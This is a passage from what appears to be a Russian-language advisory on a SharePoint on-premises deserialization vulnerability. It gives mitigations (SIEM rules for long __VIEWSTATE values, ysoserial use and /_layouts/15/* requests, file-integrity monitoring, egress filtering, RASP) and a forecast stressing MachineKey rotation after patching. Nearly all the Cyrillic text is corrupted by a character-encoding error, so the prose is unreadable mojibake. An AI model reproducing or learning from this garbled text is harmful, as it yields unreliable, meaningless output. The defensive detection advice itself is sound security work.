- ΠΡΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ Π½Π΅Π½ΡΠΆΠ½ΡΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠ΅ΠΉ: ΠΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡΡΠΉΡΠ΅ ΠΏΠΎΠ²Π΅ΡΡ Π½ΠΎΡΡΠΈ Π°ΡΠ°ΠΊΠΈ ΡΠ΄Π°Π»Π΅Π½ΠΈΠ΅ΠΌ Π½Π΅ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ ΠΌΠΎΠ΄ΡΠ»Π΅ΠΉ SharePoint.
- ΠΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³ ΠΈ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΠ΅:
- ΠΠ½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ SIEM-ΠΏΡΠ°Π²ΠΈΠ» Π΄Π»Ρ Π΄Π΅ΡΠ΅ΠΊΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π°Π½ΠΎΠΌΠ°Π»ΡΠ½ΡΡ
Π·Π°ΠΏΡΠΎΡΠΎΠ² Ρ Π΄Π»ΠΈΠ½Π½ΡΠΌΠΈ
__VIEWSTATE, Π²ΡΠ·ΠΎΠ²ΠΎΠ²ysoserialΠΈΠ»ΠΈ ΡΠΎΠΌΠ½ΠΈΡΠ΅Π»ΡΠ½ΡΡ HTTP-Π·Π°ΠΏΡΠΎΡΠΎΠ² ΠΊ/_layouts/15/*. - ΠΠ°Π·Π»Π°ΠΉΠ½ΠΈΠ½Π³ ΠΈ ΠΊΠΎΠ½ΡΡΠΎΠ»Ρ ΡΠ΅Π»ΠΎΡΡΠ½ΠΎΡΡΠΈ ΡΠ°ΠΉΠ»ΠΎΠ² (FIM) Π΄Π»Ρ
web.configΠΈ ΡΠΈΡΡΠ΅ΠΌΠ½ΡΡ ASPX-ΡΡΡΠ°Π½ΠΈΡ. - Π Π°ΡΡΠΈΡΠ΅Π½Π½Π°Ρ ΡΠ΅Π»Π΅ΠΌΠ΅ΡΡΠΈΡ .NET (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΠ΅ΡΠ΅Π· Application Insights) Π΄Π»Ρ ΠΌΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³Π° ΠΈΡΠΊΠ»ΡΡΠ΅Π½ΠΈΠΉ Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ.
- ΠΠ½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ SIEM-ΠΏΡΠ°Π²ΠΈΠ» Π΄Π»Ρ Π΄Π΅ΡΠ΅ΠΊΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π°Π½ΠΎΠΌΠ°Π»ΡΠ½ΡΡ
Π·Π°ΠΏΡΠΎΡΠΎΠ² Ρ Π΄Π»ΠΈΠ½Π½ΡΠΌΠΈ
- ΠΡΡ
ΠΈΡΠ΅ΠΊΡΡΡΠ½ΡΠ΅ ΡΠ»ΡΡΡΠ΅Π½ΠΈΡ:
- Π Π°ΡΡΠΌΠΎΡΡΠΈΡΠ΅ ΠΌΠΈΠ³ΡΠ°ΡΠΈΡ Π½Π° SharePoint Online (Π½Π΅ ΡΡΠ·Π²ΠΈΠΌ), Π΅ΡΠ»ΠΈ on-premises ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π» Π½Π΅ ΠΊΡΠΈΡΠΈΡΠ΅Π½.
- ΠΠ·ΠΎΠ»ΡΡΠΈΡ ΡΠ΅ΡΠΌ SharePoint Π² Π²ΡΠ΄Π΅Π»Π΅Π½Π½ΡΡ ΡΠ΅Π³ΠΌΠ΅Π½ΡΠ°Ρ ΡΠ΅ΡΠΈ Ρ strict egress filtering.
- ΠΠ½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ Runtime Application Self-Protection (RASP) Π΄Π»Ρ ASP.NET Π΄Π»Ρ Π΄Π΅ΡΠ΅ΠΊΡΠ° ΠΈ Π±Π»ΠΎΠΊΠΈΡΠΎΠ²ΠΊΠΈ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠΎΠ² Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ.
ΠΠ°ΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΠΈ ΠΏΡΠΎΠ³Π½ΠΎΠ·
ΠΡΠ΅Π½ΠΊΠ° Π·ΡΠ΅Π»ΠΎΡΡΠΈ ΠΎΡΠ²Π΅ΡΠ°: Π’Π΅ΠΊΡΡΠ°Ρ ΡΠΈΡΡΠ°ΡΠΈΡ Π΄Π΅ΠΌΠΎΠ½ΡΡΡΠΈΡΡΠ΅Ρ ΠΊΡΠΈΡΠΈΡΠ΅ΡΠΊΡΡ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΡ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ SharePoint (ΠΈ ASP.NET) ΠΎΡ ΡΠ΅ΠΊΡΠ΅ΡΠ½ΠΎΡΡΠΈ MachineKey. ΠΠ΅ΡΠΌΠΎΡΡΡ Π½Π° ΠΏΠ°ΡΡΠΈ, Π°ΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠ½ΡΠΉ ΡΠΈΡΠΊ Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΡΠΎΡ ΡΠ°Π½ΡΠ΅ΡΡΡ. ΠΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΠΈ, Π½Π΅ Π²ΡΠΏΠΎΠ»Π½ΠΈΠ²ΡΠΈΠ΅ ΡΠΎΡΠ°ΡΠΈΡ ΠΊΠ»ΡΡΠ΅ΠΉ ΠΠΠ ΠΠ ΠΏΠ°ΡΡΠΈΠ½Π³ΠΎΠΌ, ΠΎΡΡΠ°ΡΡΡΡ ΡΡΠ·Π²ΠΈΠΌΡΠΌΠΈ ΠΊ RCE.
ΠΡΠΎΠ³Π½ΠΎΠ·: ΠΠΆΠΈΠ΄Π°Π΅ΡΡΡ ΡΠΎΡΡ Π°ΡΠ°ΠΊ, Π½Π°ΡΠ΅Π»Π΅Π½Π½ΡΡ Π½Π° ΡΠΈΡΡΠ΅ΠΌΡ, Π³Π΄Π΅ ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Ρ ΠΏΠ°ΡΡΠΈ, Π½ΠΎ Π½Π΅ ΡΠΎΡΠΈΡΠΎΠ²Π°Π½Ρ MachineKey. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π±ΡΠ΄Π΅Ρ Π°ΠΊΡΠΈΠ²Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ Π² ΡΠ΅ΠΏΠΎΡΠΊΠ°Ρ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠ°ΡΠΈΠΈ Π΄Π»Ρ ΠΏΡΠΎΠ΄Π²ΠΈΠ½ΡΡΠΎΠ³ΠΎ APT-ΡΠ°ΡΠ³Π΅ΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΠΈ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ ransomware. ΠΠ½Π΄ΡΡΡΡΠΈΡ ΠΏΠ΅ΡΠ΅ΡΠΌΠΎΡΡΠΈΡ ΠΏΡΠ°ΠΊΡΠΈΠΊΠΈ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΊΡΠΈΠΏΡΠΎΠ³ΡΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΠΌΠΈ ΠΊΠ»ΡΡΠ°ΠΌΠΈ Π² ASP.NET ΠΈΠ½ΡΡΠ°ΡΡΡΡΠΊΡΡΡΠ΅. Π Π΅ΡΠ΅Π½ΠΈΡ ΠΊΠ»Π°ΡΡΠ° Zero Trust Network Access (ZTNA) ΠΏΠΎΠ»ΡΡΠ°Ρ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠΉ ΠΈΠΌΠΏΡΠ»ΡΡ Π΄Π»Ρ Π·Π°ΡΠΈΡΡ ΡΠ½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Π½Π½ΡΡ Π²Π΅Π±-ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.
